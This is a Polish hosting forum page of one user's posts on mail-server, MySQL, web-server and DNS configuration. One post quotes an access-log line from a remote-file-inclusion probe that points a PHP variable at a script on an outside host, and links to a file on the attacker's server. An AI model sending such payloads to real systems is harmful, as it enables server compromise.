Skocz do zawartości

rack

Użytkownicy
  • Zawartość

    19
  • Rejestracja

  • Ostatnio

Posty napisane przez rack


  1. Ta strona to sa moze 2 - 3 tabele w bazie danych. Ja bym sobie raczej nie zawracał głowy wordpresem. Najprostsze co przychodzi mi do głowy w tej chwili to CodeIgniter. Popatrz sobie na to. Ma dobrą dokumentację i jest robiony dla osób ktore są początkujące w tym biznesie.

     

    Pozdrawiam

    S.Wojnowski

     

     


  2. hi hi , pewnie że ma ... W dovecocie uprawnienia są ustawione na postfixa, w /var/spool/ postifix właścicielem katalogów, w tym równiez "private" jest także postfix ... Zmieniłem uprawnienia private/ na 777 na potrzeby testów i zaczęło działać, gniazdo pojawiło się tam gdzie powinno ... W pierwotnej konfiguracji było to 700 postfix:root i jak wyżej napisałem, nie działało.

     

    Zmieniłem uprawnieni private/  na 755 postfix:root i jest ok, podobnie jak z 750 postfix:root. Pytanie więc jest jakie powinny być optymalne uprawnienia dla katalogu private/ ?

     

    Dzięki za info

     

    pozdrawiam  


  3. Jak nadmieniłem w temacie, mam pewien problem z kofiguracją sasla przez dovecota dla postfixa na Ubuntu 8.10.

     

    Dałem sobie na chwilę spokój z saslem cyrusa bo postfix 2.5+ z repo ubuntu wspiera autoryzacje przez sasl dovecota. 

     

    postconf -a rzeczywiście to potwierdza.

     

    Postfix bez autoryzacji działa poprawnie, gdy jednak dołączę poniższe linijki do main.cf:

     

    smtpd_sasl_type = dovecot

    smtpd_sasl_path = private/auth

    smtpd_sasl_auth_enable = yes

    smtpd_recipient_restrictions = permit_mynetworks, permit_sasl_authenticated, reject_unauth_destination

     

     

     

    do /var/log/mail.log dopisywanie jest coś takiego podczas próby połączenia z postfixem przez telnet

     

    Jun 1 23:31:17 udev1 postfix/smtpd[2380]: warning: SASL: Connect to private/auth failed: No such file or directory

    Jun 1 23:31:17 udev1 postfix/smtpd[2380]: fatal: no SASL authentication mechanisms

    Jun 1 23:31:18 udev1 postfix/master[5062]: warning: process /usr/lib/postfix/smtpd pid 2380 exit status 1

    Jun 1 23:31:18 udev1 postfix/master[5062]: warning: /usr/lib/postfix/smtpd: bad command startup -- throttling

     

     

     

    Fragment dovecot.conf dotyczący autoryzacji:

     

    auth default {

     

    mechanisms = plain login

     

      client {

       path = /var/spool/postfix/private/auth

       mode = 0660

       user = postfix

       group = postfix

      }

    }

     

     

    Protookoły są ustawione na: = imap imaps pop3 pop3s

     

    Dovecot testowany niezależnie od postfixa działa bez zarzutu. 

     

    Postfix na ubuntu, tak jak na debianie jest jailed w /var/spool/postfix, posiada katalog private, a dovecot wg tego co w konfigu powyżej powinien mieć wystarczające uprawnienia do utworzenia gniazda w /var/spool/postfix/prvate/.

     

    Jeżeli ktoś ma jakiś pomysł jak skonfigurować sasl w tym przypadku, prosiłbym o podpowiedź.

     

    Z góry dziękuję

     

    pozdrawiam 


  4. Kod wygląda tak:

     

    CREATE TABLE `virtual_aliases` ( id int(11) NOT NULL AUTO_INCREMENT PRIMARY KEY, domain_id INT(11) NOT NULL, source VARCHAR(40) NOT NULL, destination VARCHAR(80) NOT NULL, FOREIGN KEY (domain_id) REFERENCES virtual_domains(id) ON DELETE CASCADE ) ENGINE = InnoDB;

     

    Error natomiast tak:

     

    ERROR 1005 (HY000): Can't create table './test_pxconfig/virtual_aliases.frm' (errno: 150)

     

    Mysql 5.1 odpalony na ubuntu jaunty prosto z repo( w 5.0 błąd jest identyczny). Tabelę tego typu da radę stworzyć ale bez wpisu dla obcego klucza, co w sumie nic mi nie daje ...

     

    Ma ktoś może jakiś pomysł co zrobić aby uniknąć wyżej nadminionego błędu...

     

    Dzięki z góry


  5. Możesz nieco rozwinąć Twoją wypowiedź? O jakie przypadki konkretnie tu chodzi. Właśnie włączyłem to do mojego konfiga dla fcgi z php-mfp na nginxie z acp i passengerem pod app w merbie. W najbliższych dniach mam to zamiar spróbować przetestować i zobaczyć jak będzie działać w kontekście passengera  i następnie mongreli z i bez symboli ... pewnie nie znajdę żadnej róznicy, ale ... hi hi ;)))    


  6. wydaje mi się ze taka rzecz pownna mieć swoją tabelę w bazie danych, SMF ma około 40 tabel więc jedna w tą czy tamtą nie zrobi różnicy ;). Całe szukanie powinno odbyć się w zanim cokolwiek wstawisz w html. Dzięki temu unikniesz mieszania warstwy prezentacji z logiką aplikacji. Nie wiem czy warto angażować w to regexp, skoro można to odfiltrować na poziomie bazy danych lub w najgorszym wypadku z pomoca jednej czy dwóch metod w php.

     

    pozdrawiam


  7. Może spróbuj z nginxem ... jego procesy są mniejsze od tych apache'a. Jeżeli nie chcesz zmieniać apache na coś lepszego to po prostu skompiluj go sobie od zera ... konfigurując go tylko z tymi modułami, których użycie 10 x przemyślałeś ... Na jakim serwerze uruchamiasz aplikacje, może zamiast mpm prefork lepszy będzie worer ... apache może mieć tak małe procesy jak nginx ale do tego konieczna jest wywalenie niektórych modułów (zależy od potrzeb oczywiście). Ja generalnie jestem wielkim fanem nginxa i z czystym sercem własnie serwer mogę polecić ... Jest wiele porównać ...

     

    popatrz na przykład na to ... Nginx nadaje się lepiej na słabsze maszyny, z mniejszą ilością ramu ... stąd taka jego popularność w konteksicie Ror czy merba


  8. Jak w temacie ... 

     

    80.93.62.114 - - [10/May/2009:05:59:44 +0200] "GET ///?_SERVER[DOCUMENT_ROOT]=http://www.ionthenet.co.kr/note_log/ec.txt? HTTP/1.1" 200 17547 "-" "libwww-perl/5.805"

     

    Jak widać request zrobiony z pomocą libwww -- co jak wiadomo często nic dobrego ze sobą nie niesie ... Mam póki co tylko jeden taki wpis w logach, mimo to skłaniam się do tego aby nie czekać na więcej ...

     

    Przejrzałem sobie pare plików na serwerze tego gościa i znalazłem między innymi coś takiego ;)))

     

    http://www.ionthenet.co.kr/note_log/apache.php

     

    Pozdrawiam

     

     


  9. Po pierwsze, nie licz na kogokolwiek oprócz siebie ... Po drugie nie wyobrażam sobie tworzenia czegokolwiek bez systemu kontroli wersji dla strony i systemu ciągłej integracji, w tych czasach to podstawa. Po trzecie nic nie jest wieczne, to że serwis działa nie znaczy, że tak będzie zawsze ... jak masz okazję wykonać backup bazy danych to zrób to !!! Nie czekaj aż coś się spier .... bo to, że tak się stanie jest niemal tak pewne jak śmierć i podatki ... Po czwarte, zautomatyzuj backupy ... jeżeli tego nie robisz to pretensje możesz mieć tylko i wyłącznie do siebie ...Od firmy dostajesz konto ... to nie jest kołyska, nikt cię za rękę trzymał nie będzie ... 

     

    i wreszcie po piąte ...to co nas nie zabije to nas wzmocni ... a jeżeli nie wzmocni to na pewno czegoś nauczy ;)))

     

    pozdrawiam

     

     


  10. Hmm... Z tego co się orientuję sam w dnsach i tego co dostałem od admina z unixstorm, ustwienia dns są w porządku.

     

    Jednakże za każdym razem gdy sprawdzam całą ścieżkę do domeny w ostatnim jej etapie dostaję coś takiego:

     

    Referral ns1.unixstorm.org

     

    Asking ns1.unixstorm.org (89.149.199.238) for rubyhelp.org (type A)

      Error: ns1.unixstorm.org (89.149.199.238): Resolve for rubyhelp.org. (A) failed: query timed out

     

    Referral ns2.unixstorm.org

     

    Asking ns2.unixstorm.org (89.149.251.86) for rubyhelp.org (type A)

      Error: ns2.unixstorm.org (89.149.251.86): Resolve for rubyhelp.org. (A) failed: query timed out

     

    ---------------------------------- podsumowanie przekierowań całości zapytan o domenę wygląda tak:

     

     

    Referral A0.ORG.AFILIAS-NST.INFO

     

    Asking A0.ORG.AFILIAS-NST.INFO (199.19.56.1) for rubyhelp.org (type A) [see above for results]

     

    Referral A2.ORG.AFILIAS-NST.INFO

     

    Asking A2.ORG.AFILIAS-NST.INFO (199.249.112.1) for rubyhelp.org (type A) [see above for results]

     

    Referral B0.ORG.AFILIAS-NST.org

     

    Asking B0.ORG.AFILIAS-NST.org (199.19.54.1) for rubyhelp.org (type A) [see above for results]

     

    Referral B2.ORG.AFILIAS-NST.org

     

    Asking B2.ORG.AFILIAS-NST.org (199.249.120.1) for rubyhelp.org (type A) [see above for results]

     

    Referral C0.ORG.AFILIAS-NST.INFO

     

    Asking C0.ORG.AFILIAS-NST.INFO (199.19.53.1) for rubyhelp.org (type A) [see above for results]

     

    Referral D0.ORG.AFILIAS-NST.org

     

    Asking D0.ORG.AFILIAS-NST.org (199.19.57.1) for rubyhelp.org (type A) [see above for results]

     Response is:

    50.0% 89.149.199.238 (ns1.unixstorm.org) with query timed out

    50.0% 89.149.251.86 (ns2.unixstorm.org) with query timed out

     

     

     

    Wszystkie dnsy aż po unixstorm.org działają jak należy, tzn, jest zero strat co chodzi o zapytania

     

    Ostateczny rezultat jest taki:

     

    Results

     

    50.0% of queries will end in failure at 89.149.199.238 (ns1.unixstorm.org) - query timed out

     

    50.0% of queries will end in failure at 89.149.251.86 (ns2.unixstorm.org) - query timed out

     

     

    Wydruk z diga wygląda tak:

     

    ; <<>> DiG 9.4.2-P2 <<>> rubyhelp.org

    ;; global options: printcmd

    ;; connection timed out; no servers could be reached

     

    Wydruk z diga z opcją trace działa lepiej ale wciąż są błędy:

     

     

    ; <<>> DiG 9.4.2-P2 <<>> +trace rubyhelp.org

    ;; global options: printcmd

    . 30779 IN NS C.ROOT-SERVERS.NET.

    . 30779 IN NS D.ROOT-SERVERS.NET.

    . 30779 IN NS E.ROOT-SERVERS.NET.

    . 30779 IN NS F.ROOT-SERVERS.NET.

    . 30779 IN NS G.ROOT-SERVERS.NET.

    . 30779 IN NS H.ROOT-SERVERS.NET.

    . 30779 IN NS I.ROOT-SERVERS.NET.

    . 30779 IN NS J.ROOT-SERVERS.NET.

    . 30779 IN NS K.ROOT-SERVERS.NET.

    . 30779 IN NS L.ROOT-SERVERS.NET.

    . 30779 IN NS M.ROOT-SERVERS.NET.

    . 30779 IN NS A.ROOT-SERVERS.NET.

    . 30779 IN NS B.ROOT-SERVERS.NET.

    ;; Received 500 bytes from 213.199.225.10#53(213.199.225.10) in 7 ms

     

    rubyhelp.org. 86384 IN NS ns2.unixstorm.org.

    rubyhelp.org. 86384 IN NS ns1.unixstorm.org.

    ;; Received 76 bytes from 128.8.10.90#53(D.ROOT-SERVERS.NET) in 5 ms

     

    rubyhelp.org. 86384 IN NS ns1.unixstorm.org.

    rubyhelp.org. 86384 IN NS ns2.unixstorm.org.

    ;; BAD (HORIZONTAL) REFERRAL

    ;; Received 92 bytes from 78.159.102.130#53(ns2.unixstorm.org) in 5 ms

     

    rubyhelp.org. 86384 IN NS ns2.unixstorm.org.

    rubyhelp.org. 86384 IN NS ns1.unixstorm.org.

    ;; BAD (HORIZONTAL) REFERRAL

    ;; Received 92 bytes from 78.159.102.130#53(ns2.unixstorm.org) in 5 ms

     

    rubyhelp.org. 86384 IN NS ns1.unixstorm.org.

    rubyhelp.org. 86384 IN NS ns2.unixstorm.org.

    ;; BAD (HORIZONTAL) REFERRAL

    ;; Received 108 bytes from 77.79.241.202#53(ns1.unixstorm.org) in 7 ms

     

    rubyhelp.org. 86384 IN NS ns2.unixstorm.org.

    rubyhelp.org. 86384 IN NS ns1.unixstorm.org.

    ;; BAD (HORIZONTAL) REFERRAL

    ;; Received 108 bytes from 77.79.241.202#53(ns1.unixstorm.org) in 5 ms

     

    rubyhelp.org. 86384 IN NS ns1.unixstorm.org.

    rubyhelp.org. 86384 IN NS ns2.unixstorm.org.

    ;; BAD (HORIZONTAL) REFERRAL

    ;; Received 108 bytes from 78.159.102.130#53(ns2.unixstorm.org) in 7 ms

     

    rubyhelp.org. 86384 IN NS ns2.unixstorm.org.

    rubyhelp.org. 86384 IN NS ns1.unixstorm.org.

    ;; BAD (HORIZONTAL) REFERRAL

    ;; Received 108 bytes from 77.79.241.202#53(ns1.unixstorm.org) in 5 ms

     

    rubyhelp.org. 86384 IN NS ns1.unixstorm.org.

    rubyhelp.org. 86384 IN NS ns2.unixstorm.org.

    ;; BAD (HORIZONTAL) REFERRAL

    ;; Received 108 bytes from 78.159.102.130#53(ns2.unixstorm.org) in 9 ms

     

    rubyhelp.org. 86384 IN NS ns2.unixstorm.org.

    rubyhelp.org. 86384 IN NS ns1.unixstorm.org.

    ;; BAD (HORIZONTAL) REFERRAL

    ;; Received 108 bytes from 77.79.241.202#53(ns1.unixstorm.org) in 4 ms

     

    rubyhelp.org. 86384 IN NS ns1.unixstorm.org.

    rubyhelp.org. 86384 IN NS ns2.unixstorm.org.

    ;; BAD (HORIZONTAL) REFERRAL

    ;; Received 108 bytes from 78.159.102.130#53(ns2.unixstorm.org) in 8 ms

     

    rubyhelp.org. 86384 IN NS ns2.unixstorm.org.

    rubyhelp.org. 86384 IN NS ns1.unixstorm.org.

    ;; BAD (HORIZONTAL) REFERRAL

    ;; Received 108 bytes from 77.79.241.202#53(ns1.unixstorm.org) in 4 ms

     

    rubyhelp.org. 86384 IN NS ns1.unixstorm.org.

    rubyhelp.org. 86384 IN NS ns2.unixstorm.org.

    ;; BAD (HORIZONTAL) REFERRAL

    ;; Received 108 bytes from 77.79.241.202#53(ns1.unixstorm.org) in 4 ms

     

    rubyhelp.org. 86384 IN NS ns2.unixstorm.org.

    rubyhelp.org. 86384 IN NS ns1.unixstorm.org.

    ;; BAD (HORIZONTAL) REFERRAL

    ;; Received 108 bytes from 78.159.102.130#53(ns2.unixstorm.org) in 5 ms

     

    rubyhelp.org. 86384 IN NS ns1.unixstorm.org.

    rubyhelp.org. 86384 IN NS ns2.unixstorm.org.

    ;; BAD (HORIZONTAL) REFERRAL

    ;; Received 108 bytes from 78.159.102.130#53(ns2.unixstorm.org) in 4 ms

     

    rubyhelp.org. 86384 IN NS ns2.unixstorm.org.

    rubyhelp.org. 86384 IN NS ns1.unixstorm.org.

    ;; BAD (HORIZONTAL) REFERRAL

    ;; Received 108 bytes from 77.79.241.202#53(ns1.unixstorm.org) in 4 ms

     

    rubyhelp.org. 86384 IN NS ns1.unixstorm.org.

    rubyhelp.org. 86384 IN NS ns2.unixstorm.org.

    ;; BAD (HORIZONTAL) REFERRAL

    ;; Received 108 bytes from 78.159.102.130#53(ns2.unixstorm.org) in 6 ms

     

    rubyhelp.org. 86384 IN NS ns2.unixstorm.org.

    rubyhelp.org. 86384 IN NS ns1.unixstorm.org.

    ;; BAD (HORIZONTAL) REFERRAL

    ;; Received 108 bytes from 78.159.102.130#53(ns2.unixstorm.org) in 7 ms

     

    rubyhelp.org. 86384 IN NS ns1.unixstorm.org.

    rubyhelp.org. 86384 IN NS ns2.unixstorm.org.

    ;; BAD (HORIZONTAL) REFERRAL

    ;; Received 108 bytes from 78.159.102.130#53(ns2.unixstorm.org) in 4 ms

     

    rubyhelp.org. 86384 IN NS ns2.unixstorm.org.

    rubyhelp.org. 86384 IN NS ns1.unixstorm.org.

    ;; BAD (HORIZONTAL) REFERRAL

    ;; Received 108 bytes from 78.159.102.130#53(ns2.unixstorm.org) in 4 ms

     

    rubyhelp.org. 86384 IN NS ns1.unixstorm.org.

    rubyhelp.org. 86384 IN NS ns2.unixstorm.org.

    ;; BAD (HORIZONTAL) REFERRAL

    ;; Received 108 bytes from 78.159.102.130#53(ns2.unixstorm.org) in 4 ms

     

    rubyhelp.org. 86384 IN NS ns2.unixstorm.org.

    rubyhelp.org. 86384 IN NS ns1.unixstorm.org.

    ;; BAD (HORIZONTAL) REFERRAL

    ;; Received 108 bytes from 77.79.241.202#53(ns1.unixstorm.org) in 8 ms

     

    rubyhelp.org. 86384 IN NS ns1.unixstorm.org.

    rubyhelp.org. 86384 IN NS ns2.unixstorm.org.

    ;; BAD (HORIZONTAL) REFERRAL

    ;; Received 108 bytes from 78.159.102.130#53(ns2.unixstorm.org) in 4 ms

     

    rubyhelp.org. 86384 IN NS ns2.unixstorm.org.

    rubyhelp.org. 86384 IN NS ns1.unixstorm.org.

    ;; BAD (HORIZONTAL) REFERRAL

    ;; Received 108 bytes from 77.79.241.202#53(ns1.unixstorm.org) in 10 ms

     

    rubyhelp.org. 86384 IN NS ns1.unixstorm.org.

    rubyhelp.org. 86384 IN NS ns2.unixstorm.org.

    ;; BAD (HORIZONTAL) REFERRAL

    ;; Received 108 bytes from 77.79.241.202#53(ns1.unixstorm.org) in 6 ms

     

    rubyhelp.org. 86384 IN NS ns1.unixstorm.org.

    rubyhelp.org. 86384 IN NS ns2.unixstorm.org.

    ;; BAD (HORIZONTAL) REFERRAL

    ;; Received 108 bytes from 77.79.241.202#53(ns1.unixstorm.org) in 4 ms

     

    rubyhelp.org. 86384 IN NS ns2.unixstorm.org.

    rubyhelp.org. 86384 IN NS ns1.unixstorm.org.

    ;; BAD (HORIZONTAL) REFERRAL

    ;; Received 108 bytes from 78.159.102.130#53(ns2.unixstorm.org) in 4 ms

     

    rubyhelp.org. 86384 IN NS ns1.unixstorm.org.

    rubyhelp.org. 86384 IN NS ns2.unixstorm.org.

    ;; BAD (HORIZONTAL) REFERRAL

    ;; Received 108 bytes from 78.159.102.130#53(ns2.unixstorm.org) in 4 ms

     

    rubyhelp.org. 86384 IN NS ns2.unixstorm.org.

    rubyhelp.org. 86384 IN NS ns1.unixstorm.org.

    ;; BAD (HORIZONTAL) REFERRAL

    ;; Received 108 bytes from 77.79.241.202#53(ns1.unixstorm.org) in 4 ms

     

    rubyhelp.org. 86384 IN NS ns1.unixstorm.org.

    rubyhelp.org. 86384 IN NS ns2.unixstorm.org.

    ;; BAD (HORIZONTAL) REFERRAL

    ;; Received 108 bytes from 78.159.102.130#53(ns2.unixstorm.org) in 8 ms

     

    rubyhelp.org. 86384 IN NS ns2.unixstorm.org.

    rubyhelp.org. 86384 IN NS ns1.unixstorm.org.

    ;; BAD (HORIZONTAL) REFERRAL

    ;; Received 108 bytes from 77.79.241.202#53(ns1.unixstorm.org) in 5 ms

     

    rubyhelp.org. 86384 IN NS ns1.unixstorm.org.

    rubyhelp.org. 86384 IN NS ns2.unixstorm.org.

    ;; BAD (HORIZONTAL) REFERRAL

    ;; Received 108 bytes from 78.159.102.130#53(ns2.unixstorm.org) in 14 ms

     

    rubyhelp.org. 86383 IN NS ns2.unixstorm.org.

    rubyhelp.org. 86383 IN NS ns1.unixstorm.org.

    ;; BAD (HORIZONTAL) REFERRAL

    dig: too many lookups

     

     

     

     

     

     

    ----------------------- 

     

    A najlepsze jest to, że moją stronę mogę sobie obejrzeć tylko po tym jak uruchomię dig +trace rubyhelp.org wcześniej.

     

    Wie ktoś jaka może być przyczyna wystąpienie błędu : ;; BAD (HORIZONTAL) REFERRAL ????

     

    Pozdrawiam


  11. Witam, 

     

    Mam pewien problem z moja domeną i poprawnym podpięciem dnsów ... 

     

    Nazwa domeny: rubyhelp.org

     

    DNSy

     

    NS1: ns1.unixstorm.org

    NS1 IP: 77.79.241.202

    NS2: ns2.unixstorm.org

    NS2 IP: 78.159.102.130

     

    Wpisy dla A w panelu DirectAdmin:

     

    rubyhelp.org. A 77.79.241.202

     

    wpisy w panelu rejestranta domen:

     

    1. rubyhelp.org    ns1.unixstorm.org 

                             ns2.unixstorm.org

     

    Rezultat sprawdzenia DNSów na Squish.net:

     

    Results

     

    4.3% of queries will end in failure at 199.19.56.1 (A0.ORG.AFILIAS-NST.INFO) - nameserver loop detected

     

    2.9% of queries will end in failure at 199.249.112.1 (A2.ORG.AFILIAS-NST.INFO) - nameserver loop detected

     

    50.9% of queries will end in failure at 89.149.199.238 (ns1.unixstorm.org) - nameserver loop detected

     

    41.9% of queries will end in failure at 89.149.251.86 (ns2.unixstorm.org) - nameserver loop detected

     

     

    Dane z whois : http://whois.domaintools.com/rubyhelp.org

     

    -------

     

     

    Domena została zarejestrowana tydzień temu, wciąż jednakże nie mam dostępu przez nią do mojej strony z poziomu przeglądarki.

     

     

     

    Za wszelkie uwagię z góry dziękuję

     

    pozdrawiam

    -----------------------

     

    Update:

     

     

    Problem rozwiązany.

×